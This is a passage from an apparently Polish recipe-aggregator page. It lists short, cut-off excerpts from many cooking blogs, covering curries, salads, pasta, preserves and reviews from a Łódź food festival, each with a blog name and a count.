wykorzystaniem sezonowych warzyw - dynii i kalafiora, do tego filet z kurczaka i pyszne jesienne danie gotowe. Soczysty filet zamarynowany w imbirze, czosnku, kurkumie i papryce zatopione w kokosowym sosie podany z jaśminowym ryżem to świetny obiad dla całej rodziny. Błyskawiczne do przygotowania danie rodem z indyjskiej kuchni, zapraszam! Składniki: 1 filet z kurczaka 1/2 dynii Hokkaido 1/2 małego kalafiora

Gotuj zdrowo!Guten Appetit!
Kiszone śliwki 132

Śliwki do kiszenia nadają się znakomicie, jeśli macie małe węgierki, trzeba je kisić z pestkami aby się nie rozpadły, większe tak jak moje można wydrylować. Smakują znakomicie do sałatek, sosów i same również, są alternatywą do śliwek w occie . Kiszonka ze śliwek. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Curry z boczniakami 147

skórki i kroimy na cząstki lub w plasterki. Dodajemy do boczniaków, cebuli i przypraw. Dusimy na małym ogniu pod przykryciem tak, aby pomidory w większości rozgotowały się i utworzyły sos. Odparowujemy nadmiar wody. Ryż gotujemy zgodnie z instrukcją na opakowaniu. Cukinię oraz papryki kroimy w cieniutkie paski, a następnie podsmażamy na oliwie z dodatkiem soli i świeżo mielonego czarnego pieprzu

Kate's Kitchen
Czekoladowe placuszki owsiane 179

200ml gęstego jogurtu naturalnego 3/4 szklanki płatków owsianych 1 kopiasta łyżka kakao 1 łyżka cukru waniliowego 1 łyżeczka sody oczyszczonej 20g posiekanej gorzkiej czekolady olej do smażenia do podania: sos czekoladowy, ulubione owoce, miód, dżem, jogurt Jogurt wymieszać z sodą, odstawić na chwilę. Jajko roztrzepać z cukrem, wlać jogurt, wsypać mąkę owsianą i kakao, wmieszać. Jeśli ciasto będzie za rzadkie

Obiad gotowy
SZYBKI POSIŁEK - MAKARON PEŁNOZIARNISTY Z TUŃCZYKIEM, JARMUŻEM I PIECZARKAMI 130

szybki obiad. Przygotowanie tego posiłku zajmie Ci zaledwie 12 min. Składniki: - makaron pełnoziarnisty – 1 szklanka (60 g) - cebula ½ szt. (50 g) - pieczarki 3 szt. (60 g) - tuńczyk w sosie własnym – ½ puszki (60 g) - jarmuż – 1 garść - masło klarowane– ½ łyżeczki (4 g) Wykonanie: Makaron ugotować al dente. Cebulę, pieczarki i jarmuż drobno posiekać, podsmażyć na maśle klarowanym. Do tego dodać tuńczyka

Być w dobrej formie i tryskać pozytywną energią przez cały czas
Gnocchi dyniowe 162

kształt i wygląd jest nieco inny – gnocchi posiadają charakterystyczny wzór, robiony widelcem. Kluseczki gnocchi najczęściej przygotowuje się z ziemniaków, warzywnego puree lub sera i podaje z różnego rodzaju sosami, z pesto bądź podsmażone na odrobinie masła... Tryb czytania Artykuł Gnocchi dyniowe pochodzi z serwisu Blog kulinarny Kurkanielotka.pl

kurkanielotka.pl
Szakszuka z boczkiem 199

minut aż staną się miękkie i kostka przestanie być tak „regularna”. Jeśli pomidory miały w sobie mało soku podlej całość odrobiną wodą, aby na patelni było nieco sosu. To moment na dodanie przypraw – papryki i kuminu. Twórz na patelni po jednym wgłębieniu, przesuwając nieco pomidory, a następie wbijaj w nie po 1 jajku. Całość dopraw solą

nietylkopasta.pl
Zapiekanka makaronowa z kurczakiem i warzywami 265

obsypujemy ją z wierzchu startym żółtym serem *** *** Następnie zapiekankę wkładamy do piekarnika nagrzanego do 200’C na około 30 minut *** *** Zapiekankę podajemy na gorąco. Najlepiej smakuje polana domowym sosem czosnkowym PRZEPIS TUTAJ *** *** SMACZNEGO ***     POLECAM TAKŻE: POMYSŁY NA SZYBKI, TANI I ŁATWY OBIAD! KLIKNIJ TUTAJ POMYSŁY NA NIEDZIELNY I ŚWIĄTECZNY OBIAD KLIKNIJ TUTAJ DANIA JEDNOGARNKOWE – POMYSŁY NA SZYBKIE

Blog z Apetytem
Jemy w Łodzi Food Fest - Stekówka - Steki i Burgery 168

kanapce po prostu urywają tyłek! Co tu dużo mówić, trzeba spróbować 😉 Jeśli chodzi o jelenia to... O mamo! Mięso delikatne i pełne leśnego aromatu, skąpane w genialnym sosie. Ale prawdziwą perełką tego dania jest puree z kasztanów, które Dominikowi przywiodło na myśl masło orzechowe, dla mnie miało zgoła inny smak, ale było po prostu uzależniające, o aksamitnej teksturze. Żółty burak

Cooking Monster
Jemy w Łodzi Food Fest - MOTYWY 145

dodatki, świetny majonez. Brawo!   Ale prawdziwą gwiazdą była według mnie propozycja z trasy kulinarnej # ElegancjaFrancja , czyli: 👉 Pieczona noga z kaczki, purée z dyni, karmelizowana dynia z chili, topinambur, sos porzeczkowy Cena: 38 zł   Bardzo lubię kaczkę, ale w większości łódzkich knajpek możemy zjeść raczej pierś niż nóżkę, więc ogromny plus za ten wybór, bo nóżka ma o wiele

Cooking Monster
Sałatka warstwowa z tuńczykiem i selerem konserwowym 257

zupka chińska (łagodna), 1 puszka kukurydzy konserwowej, 1 słoik (370 ml) selera konserwowego (najlepiej z dodatkiem ananasa), 2 puszki (po 170 g) tuńczyka w sosie własnym, 4 jajka, 20 dag ogórków konserwowych, 6 łyżek majonezu, sól, pieprz. Już od dawna miałam ochotę wypróbować jakiś przepis na sałatkę z wykorzystaniem makaronu z popularnym zupek chińskich. Swój test :) zacznę od sałatki

Świat Domowej Kuchni
Bulion ze skrzydełek 175

Bulion ze skrzydełek jest u mnie podstawą zup i sosów. Zazwyczaj porcję zużywam zaraz po zrobieniu, a pozostałą część mrożę w plastikowych pojemniczkach i wykorzystuję w miarę potrzeb. Składniki: 4 skrzydełka 1 marchewka 1 pietruszka pół niewielkiego selera 1 mały por 1 cebula 20 ziaren pieprzu czarnego kilka gałązek natki pietruszki gałązka lubczyku 1 liść selera sól do smaku Wykonanie

Smak mojego domu
Pączki ziemniaczane 158

się z Wami przepisem na duszoną kapustę z mięsem , a dzisiaj mam dla Was genialny dodatek właśnie do tego dania. Pączki ziemniaczane są po prostu idealne do wszelkiego rodzaju sosów, bigosów, czy właśnie dań na bazie kapusty. Są niedrogie, a ich przygotowanie jest bardzo proste. Sprawdźcie sami Pączki ziemniaczane Składniki: 1 kg ziemniaków (waga po obraniu) około 80 g mąki

PatiGotuje
TWAROŻEK Z TUŃCZYKIEM 145

kolację? Polecam twarożek z tuńczykiem :) Taki posiłek odżywi Cię i nasyci po ciężkim dniu, a dodatkowo rozbudzi Twój zmysł smaku.    SKŁADNIKI (składniki na 3 porcje): - tuńczyk w sosie własnym - 1 puszka (150g) - twaróg chudy - (150g) - serek wiejski - (100 g) - papryka czerwona - mała 1 szt. (90g) - pietruszka, liście - przyprawy: dodaj jakie lubisz :) Ja użyłam papryki ostrej i soli himalajskiej

Być w dobrej formie i tryskać pozytywną energią przez cały czas
Menu na tydzień: Idealne na jesień 148

potrawy typowe wyłącznie dla tej pory roku. Możecie spokojnie zrobić je zarówno zimą jak i wiosną. Oto nasze menu na tydzień: Poniedziałek: Kurczak alla cacciatora Kremowy, zawiesisty sos pomidorowy i zanurzone w nim mięciutkie, uduszone kawałki kurczaka. Można go podać z ryżem, makaronem lub zjeść z pieczywem. Danie proste, z kilku składników, o delikatnym, leśnym posmaku. W końcu jest

Niedzielny kucharz
Makaron z bakłażanem 146

suszonym oregano i cukrem. Gotować przez minutę, następnie dodać świeże pomidory razem z sokiem i razem zagotować. Gotować przez minutę, następnie dodać makaron oraz tyle wody z makaronu aby sos uzyskał odpowiednią gęstość. Dodać posiekaną bazylię oraz tarty ser, wymieszać i podawać

KUCHNIA POLSKA
Pieczone ziemniaki 174

Doskonały dodatek do mięs ale również jako samodzielne danie smakuje bardzo dobrze. Podawać można z sosem czosnkowym, jogurtem itp. Składniki 8 średnich ziemniaków 8 łyżek masła 1 łyżka majeranku 1 łyżka bazylii sól, pieprz 4-5 ząbków czosnku przeciśniętego Piekarnik nagrzać do 180 stopni, góra dół. Ziemniaki dokładnie umyć, ze skórką. Każdego ponacinać na około … Czytaj dalej Pieczone ziemniaki

gotuj ze mną
Curry rybne z groszkiem cukrowym 272

fileta z pstrąga łososiowego 100 g groszku cukrowego 1/2 puszki kukurydzy 4 pomidory 1-2 cebule 1 łyżeczka curry 1/2 łyżeczki kurkumy 1/2 łyżeczki imbiru 2-3 łyżki sosu … Czytaj dalej Curry rybne z groszkiem cukrowym

czarrna od kuchni
Sałatka warstwowa tuńczykowo-serowa z jajkami 575

powiedzenie, że mniej znaczy więcej:) Sałatka jest wyśmienita. Bardzo delikatna. Po nocy spędzonej w lodówce, jeszcze lepsza. Zdecydowanie polecam. 7-8 dużych jajek 2 puszki tuńczyka (u mnie w sosie własnym) 200g żółtego sera 1 cebula majonez Jajka gotujemy na twardo. Oddzielamy białka od żółtek. Białka trzemy na dużych oczkach tarki, a żółtka na drobnych. Ser żółty ścieramy na drobnych

Smaki Na Talerzu
Borek , tureckie ciasto z serem i szpinakiem 200

masłem roztopionym i posypujemy ziarnami czarnuszki . Wstawiamy do piekarnika nagrzanego do 200 C i pieczemy do momentu , aż borek nabierze złotego koloru . Podajemy na gorąco z dowolnymi dodatkami lub sosami . Na zimno także smakuje dobrze , nie należy go tylko odgrzewać bo ciasto traci chrupkość i delikatność . Smacznego ! Artykuł Borek , tureckie ciasto z serem i szpinakiem pochodzi z serwisu Ogrodnik

Ogrodnik w podróży
Bucattini al'a Alfredo 145

się że nie posiadam makaronu fettucine a w domu tylko bucattini, tak więc powstało danie pyszne i wytrawne, polecam. Bucattini krótkie, ma charakterystyczną dziurkę w środku i dzięki temu sos jeszcze głębiej oblepił makaron. Makaron z dziurką al'a Alfredo. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
"Danie inspirowane podróżą " - podsumowanie 4. edycji akcji 197

cukinii autorka:  Badylarka  | blog: Weekendy w domu i ogrodzie Lepieszka/lepioszka z Astany autorka:  Badylarka  | blog: Weekendy w domu i ogrodzie SMAŻONE FIGI Z SOSEM MUSCAT autorka:  angelinab520  | blog: Smaki Francji współczesna kuchnia francuska Syrop lawendowy autorka:  Hajduczek  | blog: Hajduczek naturalnie

Weekendy w domu i ogrodzie
Miruna w panierce kukurydzianej Mamut 162

Panier kukurydziany to produkt o szerokim zastosowaniu kulinarnym. Idealnie sprawdza się jako panierka do mięs, ryb i warzyw, ale również jako kruszonka do ciast oraz zagęstnik do sosów i zup. Do jego stworzenia użyliśmy jedynie mąki kukurydzianej i wody, dzięki czemu charakteryzuje się bogactwem błonnika pokarmowego

Sama słodycz i szczypta chili
cukinia faszerowana 308

osoby: 2 duże cukinie 1/2 kg mielonej wołowiny dwa duże pomidory 1 duża cebula 3 ząbki czosnku sól pieprz słodka wędzona papryka tymianek bazylia cynamon 1 kieliszek czerwonego wina sos beszamelowy Cukinie przekroić wzdłuż i wydrążyć miąższ – ten zachować. Polać oliwą i wstawić na pół godziny do piekarnika nagrzanego do 180°C. Cebulę posiekać w kostkę, posiekać w kostkę

stajnia gołębie od kuchni
Sałatka z pieczonej dyni i sera koziego 140

pieczenia i zapiekałam w temperaturze 180 stopni Celsjusza do momentu aż była miękka. Część dyni wykorzystałam do sałatki, pozostałą część zamroziłam. Będzie jak znalazł na zupę, ciasto czy sos. Kupiłam gotowy mix sałat. Zachęcałabym was do zrobienia tego samego Czarnego pieprzu użyjcie według uznania. Ja uwielbiam świeżo mielony pieprz czarny i zazwyczaj nie żałuję go sobie. Lubisz dynię? Jeśli

mecooks
Pieczona jaglanka z gruszkami i masłem orzechowym 180

foremki. Na wierzch układamy pokrojone gruszki, goździki i posypujemy orzeszkami. Pieczemy w nagrzanym piekarniku 180 stopni/25 minut. Jaglanka smakuje na ciepło jak i na zimno. Można polać ją sosem waniliowym lub jogurtem. The post Pieczona jaglanka z gruszkami i masłem orzechowym appeared first on Thermomix przepisy

Themo przepisy
Placki z dyni i cukinii 164

mąką, jakiem i przyprawami. Formujemy kotleciki i smażymy z dwóch stron na złoto na rozgrzanym oleju. Placuszki przekładamy na papierowy ręcznik do odsączenia nadmiaru oleju. Placuszki podajemy z ulubionym sosem -np czosnkowym + pestki jak u mnie, pomidorowym czy jakimś grzybowym, lub po prostu z jogurtem i ziołami :) Smacznego! Inne dyniowe inspiracje znajdziecie  TU KLKIK! A cukiniowe  TUTAJ

Moje Kuchenne Rewelacje
Placek ziemniaczany z piekarnika 151

sobie tyle tłuszczu. Jeśli lubicie ziemniaki (a kto nie lubi?), to ta potrawa z pewnością wam zasmakuje. Placek podałam ze śmietaną, można również zaserwować z maślanką, sosem czosnkowym, tzatziki albo ulubioną surówką. Możecie również pokombinować z dodatkami, np. zamiast kiełbasy dodać boczek, albo w wersji wegetariańskiej w ogóle zrezygnować z wędlin. [embed]https://youtu.be/gbZt3J4prP8[/embed] Składniki na placek ziemniaczany

e-PrzepisyKulinarne
Czwartek: Polędwiczka adobo 163

przeszłości rzeczywiście używano jej do konserwowania mięsa, obecnie pasta jest powszechnie stosowaną przyprawą w krajach hiszpańskojęzycznych. Występuje w różnych lokalnych odmianach i wariacjach, może mieć postać pasty, albo sosu, być paląca jak ogień albo łagodna. Np. na Filipinach jest kilkanaście różnych odmian adobo. Przyprawą można traktować wieprzowinę, doskonale czuje się w niej kurczak oraz ryba. Sposoby przyrządzania mięsa też

Niedzielny kucharz
ZUPA GOŁĄBKOWA 154

Witajcie :) Za oknem kolejny wietrzny, jesienny dzień, więc na rozgrzanie ugotowałam zupę gołąbkową. jeśli lubicie gołąbki w sosie pomidorowym to ta zupa na pewno przypadnie Wam do gustu. Jest pyszna, sycąca, gęsta idealnie sprawdza się w chłodne dni. Smak gołąbków został zachowany w zupie a ja nie musiałam spędzać wiele czasu na zawijanie mięsa w kapustę ;) Składniki: * 300 g mięsa

Zrób to smacznie
Schab po meksykańsku 452

Schab po meksykańsku Przedstawiam Wam dziś schab w pysznej, lekko pikantnej wersji meksykańskiej. Potrawa ta idealnie pasuje do ryżu lub makaronu. Mięso jest kruche i soczyste

Blog z Apetytem
Spaghetti z sosem pieczarkowym z frankfurterkami 165

dzisiaj dla Was bardzo szybkie i przepyszne danie. Makaron - spaghetti - mój ulubiony. Dobrze ugotowany będzie sprężysty i smaczny. Sos pieczarkowy to naprawdę góra 15 minut roboty, nieco dłużej niż gotuje się makaron! Proponuję zacząć przygotowywać danie właśnie od niego. No i doskonałe smażone frankfurterki, które nadają charakteru. Usmażone krążki tych soczystych kiełbasek smakuję naprawdę doskonale! :) Potrzebujemy: 500 g pieczarek

MamaOskarka
7 pomysłów na tani obiad 473

wniosku, że lepiej opłaca się kupić całego kurczaka, a nawet dwa. Odcinam filety, nogi, a tuszki wykorzystuję na zupę. Udka z kurczaka piekę lub smażę. Z filetów przyrządzam roladki, sosy lub burgery. Moje dzieci bardzo lubią krokiety. 2,5 kilograma mięsa z kurczaka starczy na długo dla 4 osób. Poza tym kurczak pasuje z większością dodatków. Ryż, kasza, pieczone ziemniaki

codojedzenia
Lekka sałatka z figami 228

czasie smażymy go do miękkości na niewielkiej ilości. Umytą rukolę układamy na talerzu, dodajemy pokrojone na połowy pomidorki koktajlowe, usmażonego kurczaka i pokrojone w plasterki lub ćwiartki figi.  Sos: łyżeczka miodu 3 łyżki octu z białego wina 3 łyżki wody 3 łyżki oliwy z oliwek zioła prowansalskie sól, pieprz Wszystkie składniki mieszamy ze sobą i polewamy sałatkę tuż przed

Cynamonowe szczęście
Suszone ogórki kiszone 159

liście domowych przetworów. Kilka miesięcy temu podczas rozmowy z jednym z szefów kuchni pochwaliłam się swoim pomysłem, który - jak się okazało - aż tak odkrywczy nie był, wielu kucharzy doprawia sosy i zupy dodając do nich szczyptę suszonych ogórków kiszonych, aby "podkręcić" smak potraw. Składniki ogórki kiszone dobrej jakości - ilość dowolna.  Zazwyczaj suszę jednorazowo około kilograma ogórków kiszonych, po ususzeniu

Kulinaria - potrawy z różnych stron świata
Frytki z batatów 179

frytkami i piec przez około 30 minut na funkcji grzania góra-dół. Po upieczeniu frytki z batatów wyjąć, posoli i od razu podawać z ulubionymi dodatkami - u mnie sos tatarski i ketchup Artykuł Frytki z batatów pochodzi z serwisu WSZYSTKO SMACZNE

WSZYSTKO SMACZNE
Makaron z pieczoną papryką i domowym ziołowym pesto 153

mikserze umieszczamy wymytą bazylię i oregano, dodajemy 11/2 łyżki startego sera, sok z cytryny, obrany czosnek, sól, pieprz, cukier i chili. Dolewamy oliwę (tyle, żeby pesto miało konsystencję gęstego sosu). 3. Do gotującego się makaronu dodajemy 1/2 łyżeczki soli. Po ugotowaniu w garnku makaron mieszamy z pesto. Podajemy z upieczoną papryką, dodatkowo posypujemy listkami bazylii i oregano, oraz startym serem

kruche babeczki
Środa: Ryż smażony z kurczakiem po chińsku 170

polędwiczki z indyka 200 g ryżu (około szklanka) 150 g mrożonego groszku (około szklanka) 2 jajka 1 łyżka oleju Garść posiekanej kolendry Sezam do posypania (opcjonalnie) Sól lub sos sojowy Przygotowanie: Krok 1 Przepłucz ryż pod zimną wodą, aż woda nie będzie mętna. Przełóż do garnka, zalej 2,5 szklankami wody, przykryj, zagotuj i gotuj na wolnym ogniu 18 minut

Niedzielny kucharz
Placki z dyni i ziemniaków 330

Chrupiące placki z dyni i ziemniaków każdemu poprawią nastrój! To proste do zrobienia i bardzo smaczne placki smażone z tartej dyni i ziemniaków. Podane z sosem czosnkowym będą idealne na obiad lub na kolację. Z całą pewnością zostanie Ci sporo dyni, więc gorąco polecam również przepis na placki z dyni na słodko. Dynia pieczona z fetą też jest pyszna - polecam

AniaGotuje.pl
Zapiekanka z kurczakiem i beszamelem 200

Przepis na ciekawą zapiekankę z kurczakiem, sosem beszamelowym i makaronem, pod kruszonką z bułki tartej. Ciekawe połączenie smaków i niezwykle chrupiąca kruszonka, są bardzo ciekawym pomysłem na obiad. Poznaj prosty przepis na to pyszne danie! Artykuł Zapiekanka z kurczakiem i beszamelem pochodzi z serwisu Blog kulinarny Kurkanielotka.pl

PysiaGotuje.pl
Sałatka jarzynowa z burakami 191

obieramy ze skórki i usuwamy gniazdo nasienne. Wszystkie składniki kroimy w drobną kostkę i mieszamy ze sobą. Dodajemy odsączony groszek. Majonez łączymy z musztardą i  zmiażdżonym czosnkiem. Dodajemy sos do sałatki, doprawiamy do smaku solą i pieprzem. Mieszamy

Qchnia po prostu
ZAPIEKAŃCE PYSZNIE NADZIANE + FILMIK 160

plastrach 20 dkg sera w kawałku  15 dkg salami w plastrach 20 dkg szynki konserwowej 20 dkg szynki mielonej  papryka konserwowa ogórki konserwowe ( kilka )  dowolne sosy do polania

Kulinarne Fantazje Marioli
Schab pieczony w kapuście kiszonej z pieczarkami 236

pieczarek. Mieszamy. Dno naczynia żaroodpornego wykładamy warstwą kapusty, na nią układamy kotlety a następnie przykrywamy kolejną warstwą kapusty. Znów układamy warstwę mięsa i przykrywamy wierz kapustą. Całość możemy polać sosem, który wyciekł na talerz z usmażonych kotletów. Naczynie przykrywamy pokrywką i wkładamy do piekarnika nagrzanego do 200°C. Pieczemy przez 1 godzinę i 20 minut. Potrawę podajemy z pieczywem

Qchnia po prostu
Pizza z niebieskiej kukurydzy bezglutenowa. Pizza blue corn 203

czasie mieszamy  2 łyżki  oliwy z szczyptą soli  i ząbka czosnku. Smarujemy wierzch pizzy i wstawiamy do piekarnika nagrzanego do 200 stopni. Pierwszą pizzę posmarowałam sosem pomidorowym, drugą  oliwą z czosnkiem i dla mnie jest zdecydowanie lepsza. Pieczemy 15-20 minut. Dodatki: sałata radicchio grillowany bakłażan ser z niebieską pleśnią czerwona cebula żółta papryka uduszona

AZgotuj!
Curry pomidorowo-paprykowe z wędzonym tofu 149

łyżeczka kurkumy łyżeczka imbiru suszonego łyżeczka curry sok z limetki lub cytryny Wymieszaj wszystkie składniki na marynatę. Tofu pokrój w 1 cm kostkę i wymieszaj z marynatą. Składniki na sos: 2-3 czerwone papryki 1 cebula lub por (por jest delikatniejszy dla żołądka) 200 ml soku pomidorowego 200 ml mleka kokosowego pęczek świeżej kolendry Paprykę pokrój w 2 cm kawałki

greenscarf
Gołąbki z sosem pieczarkowym 310

wieprzowej 2 szklanki ryżu 1/2 szklanki kaszy jęczmiennej 1/2 szklanki jęczmienia 4-5 cebul 3/4 kg pieczarek 1 szklanka mleka 2 płaskie łyżki maki … Czytaj dalej Gołąbki z sosem pieczarkowym

czarrna od kuchni
Krewetki z grilla po kreolsku 199

Jeśli ktoś nie przepada za krewetkami to niech spróbuje tych po kreolsku, mocno czosnkowych, opieczonych szybko na grillu, zalanych sosem, typowym dla Nowego Orleanu a przepadnie z kretesem. One są tak pyszne że zajadaliśmy je wraz z pancerzykami, które mają mnóstwo wapnia i kwasów omega 3 a opieczone na grillu wysmażają się idealnie. Po prostu pyszności, polecam. Grillowane krewetki

Moje Małe Czarowanie
Podwójnie panierowane polędwiczki z piersi kurczaka na ostro 213

podmieńcie na słodką. Polecam! Ps. A jeśli przerażają Was kalorie zawarte w panierce to zerknijcie na Fit polędwiczki z kurczaka - klik . 400g polędwiczek z piersi kurczaka Marynata: 4 łyżki sosu sojowego 2 łyżki jogurtu naturalnego 1,5 łyżeczki suszonej natki pietruszki 1/2 łyżeczki papryki ostrej Panierka: 2 jajka mąka pszenna bułka tarta + 3/4 łyżeczki papryki ostrej Ponadto: tłuszcz do smażenia

Di gotuje
Nać pietruszki zamrożona w kostkach 202

każdym razem punktualnie więdła mi w oczach i lądowała prosto w śmietniku. Nie wspomnę jaka to wygoda wziąść sobie taką przygotowaną kostkę i wrzucić prosto do zupy czy sosu. Nie trzeba myć, szatkować itd. Oszczędność czasu i pieniędzy. Naprawdę polecam spróbować. Nać pietruszki w kostkach (adsbygoogle = window.adsbygoogle || []).push({}); SKŁADNIKI Nać pietruszki Olej z oliwek Pojemnik do mrożenia kostek lodu SPOSÓB

zielonacukinka
Proste obiady na 7 dni # 6 - Przepisy i lista zakupów do pobrania! 179

zioła, posiekaną pieczoną paprykę oraz papryczkę chilli. Zetrzyj skórkę cytrynową i dodaj do sałatki. Sok z cytryny wyciśnij do małego słoiczka. Dodaj oliwę, sól oraz pieprz i wstrząśnij. Dodaj sos do sałatki i wymieszaj.  Pierś z kurczaka umyj, oczyść, oprósz solą i pieprzem i skrop oliwą. Grilluj na patelni grillowej lub zwykłej aż będzie rumiany z obu stron (możesz

Chilli Czosnek i Oliwa
Jak przygotować smakowity ramen? 186

bardzo słonym wywarem, podawany jest ze szczypiorem, kapustą pekińską i pędami bambusa), tonkotsu (z kości wieprzowych), miso (wywar wzbogacony miso, czyli pastą ze sfermentowanej fasoli) oraz shoyu (z dodatkiem sosu sojowego).  Wywary dzieli się też na kotteri, czyli bogaty (z przewagą mięsa, długo gotowany) i assari (lekki, gotowany krótko na warzywach). W zależności od regionu Japonii dominują inne rodzaje

Tradycyjna Kuchnia
CZARNY MAKARON Z KREWETKAMI, ŚWIEŻYMI POMIDORAMI I CZOSNKIEM 276

klarowanym maśle, z zeszkloną cebulką, czosnkiem i świeżymi pomidorami. Z papryczką chili, natką pietruszki i odrobiną białego wytrawnego wina, które świetnie podbija smak samych krewetek jak i całego sosu.  Podane z czarnym makaronem i cząstkami cytryny do wyciśnięcia, mogą być świetnym pomysłem na lekką i wykwintną kolację. SKŁADNIKI / 2 PORCJE 150 g czarnego  makaronu (barwionego sepią

cool and minty
Spaghetti z sosem kurkowym i kurczakiem 158

maśle, dodać filet, kurki i smażyć kilka minut. Następnie wlać śmietanę, doprawić szczyptą gałki muszkatołowej, solą, pieprzem i dusić jeszcze przez kilka minut. 5. Ugotowany makron wymieszać z gotowym sosem kurkowym, filetem i posypać natką z pietruszki

Szalona Kuchnia Eweliny
Sałatka z figami i gorgonzolą 177

miodu sól, pieprz Rukolę umyć i ułożyć na talerzu, a na niej pokrojone w ćwiartki figi. Następnie dodać porwany na kawałeczki ser gorgonzola i posypać posiekanymi orzechami. Wymieszać składniki sosu i polać nim sałatkę

wyzwania kuchenne
3 pomysły na dania z kurkami w roli głównej 168

samej patelni podsmaż cebule pokrojoną w piórka z 400 g umytych i osuszonych kurek. Dodaj do nich śmietanę-kremówkę i lekko poprósz solą oraz pieprzem. Kurkowo-cebulowym sosem polej ziemniaki i piecz przez 35 minut w piekarniku pod przykryciem. Zupa krem z kurek Kurki fantastycznie sprawdzają się w zupach, zwłaszcza w kremach. Serwuje się je zazwyczaj z dodatkiem śmietany

Kuchcik gotuje
Czerwona soczewica z ziemniakami i pomidorami 145

paprykę i ziemniaki. Dla koloru dodajemy paprykę wędzoną, słodką oraz ostrą. Mieszamy. Całość zalewamy wodą i puszką pomidorów. Dusimy na małym ogniu, najlepiej pod przykryciem, aż soczewica będzie miękka, sos zgęstnieje i ziemniaki będą gotowe. Na koniec doprawiamy do smaku, dodajemy suszone oregano. podajemy z kleksem jogurtu greckiego i kawałkami czarnych oliwek. Posypujemy suszonym oregano. Danie można podać z ciepłymi

Moja smaczna kuchnia
Pavlova z figami 191

podaniem tortu. W misce ubijamy śmietanę, serek mascarpone oraz dodajemy łyżkę cukru. Miksujemy do połączenia składników. Masę wykładamy na bezę i układamy na niej przekrojone na ćwiartki figi. Polewamy sosem ( łuski wanili wymieszane z miodem i łyżeczką soku z cytryny) . Gotowe : ) Artykuł Pavlova z figami pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
Kluski ziemniaczane z mięsem 163

Każdą kulkę spłaszczamy, układamy farsz na środku i zamykamy, tworząc kulkę. Kluski gotujemy w osolonym wrzątku (partiami) około 10 min od momentu wypłynięcia na powierzchnię wody. Podajemy z ulubionym sosem lub omastą z cebuli i słoniny

R'n'G Kitchen
SURÓWKA KOLORY JESIENI 207

kosteczkę, cebulę oraz natkę pietruszki siekamy. Wszystko łączymy ze sobą.  Do 3 łyżek oleju dodajemy sól, pieprz ( po odrobinie),dodajemy tez odrobinkę octu- tyle aby tylko delikatnie zakwasić sos, dobrze mieszamy, następnie polewamy surówkę i mieszamy

Z Majeczką w kuchni
Pieczony kurczak na butelce 155

kurczak w takiej wersji Wam posmakuje i będzie gościł często na Waszych stołach. Smacznego! Zobaczcie też: Kotleciki z kurczaka z pieczarkami Miodowy kurczak ze szpinakiem i pomidorkami Kurczak w sosie serowym Quesadilla z kurczakiem Przepis na kurczaka na butelce Drukuj przepis Porcji: 1 kurczak Czas gotowania: 1,5 godziny + czas marynowania Składniki świeży kurczak, około

Kuchnia Bazylii
Szarlotkowa granola 201

Instructions Jabłka obrać, pokroić w ósemki, wyjąć gniazda nasienne. Jabłka umieścić w garnku, zalać ¼ szklanki wody i gotować na wolnym ogniu ok 10 minut aż się rozpadną, zmiksować na sos. Płatki wymieszać w misce z cynamonem i solą, dodać posiekane orzechy i rodzynki. Do jabłek dodać syrop klonowy i olej kokosowy, w razie potrzeby podgrzać, żeby olej się rozpuścił. Wlać

Cooking for Emily
Grzyby po grecku na zimę HIT !!! 838

Grzybków w lesie jest teraz pod dostatkiem, więc każdy wolny czas staram się spędzić w lesie na poszukiwaniu najbardziej dorodnych grzybów jakimi dla mnie są borowiki szlachetne! Uwielbiam sosy grzybowe, ale przetwory z grzybów są równie pyszne! Moja mama wynalazła wspaniały przepis w książce Grzyby Dania i Przetwory. Czegoś lepszego z udziałem grzybów w życiu nie jadłam...Grzybki po grecku

kulinarne odsłony pati
Pomidory w zalewie z czosnkiem i cebulą na zimę. Domowe przetwory. 245

powsadzałam w słoiki, w zimie zjemy z ochotą. Takie pomidorki w zalewie robię od lat. Są bardzo smaczne i aromatyczne. Po otwarciu słoika można je przetrzeć do zupy czy sosu pomidorowego. U nas jednak najlepiej schodzą podane w całości do obiadu, śniadania, czy kolacji. Zajadamy wraz z dodatkami, cebulką, czosnkiem a i zalewą rownież nie gardzimy :) Polecam. Składniki - pomidory ( najlepiej

Kuchnia z widokiem na ogród
Spaghetti ze szpinakiem 184

Świetny pomysł na wyśmienity obiad lub romantyczną kolację – makaron spaghetti ze szpinakiem i krewetkami, otulony sosem śmietanowym. Prosto, szybko i smacznie! Tymi właśnie słowami można opisać to danie. 🙂 Artykuł Spaghetti ze szpinakiem pochodzi z serwisu Blog kulinarny Kurkanielotka.pl

PysiaGotuje.pl
Dietetyczne spaghetti 163

małą kostkę. Na patelnię dodać pomidory, cukinię i przyprawy. Wlać wodę. Dokładnie wymieszać i dusić do miękkości cukinii (nadmiar wody odparuje). Na koniec ponownie doprawić jeśli jest taka potrzeba. Sos jeszcze solo na patelni

Karola gotuje
Zielony Shrek na niedzielnym stole – przepis na shreka 207

Gdy dopadnie Cię ochota na coś słodkiego warto przygotować zielone ciasto Shrek. Co prawda przepis na Shreka jest nieco skomplikowany i czasochłonny, ale warto się poświęcić

sierotka maRysia w kuchni
Spaghetti Z Sosem Meksykańskim 149

troszkę przysmaży dodajemy puszkę pomidorów, oraz przyprawy, całość dusimy z 10 minut. 4. Po tym czasie dodajemy kukurydzę wraz fasolą czerwoną, doprawiamy do smaku i przesmażamy do zgęstnienia. Gotowy sos podajemy z makaronem spaghetti

Gotowanie...to proste !
Zupa dyniowa z soczewicą 124

czosnku 1 cebula 4 szklanki wody 1/2 łyżeczki kurkumy w proszku 1/2 łyżeczki papryki słodkiej w proszku 1/2 łyżeczki papryki wędzonej w proszku 1/2 mielonego kminu rzymskiego 2 łyżki sosu sojowego sól do smaku 1 łyżka oleju do smażenia płatki chilli (według uznania, do podania dla dorosłych) Wykonanie: Cebulę i czosnek obieramy i drobno kroimy. Dynię obieramy, usuwamy pestki

Lamarida.pl
Śniadanie angielskie 224

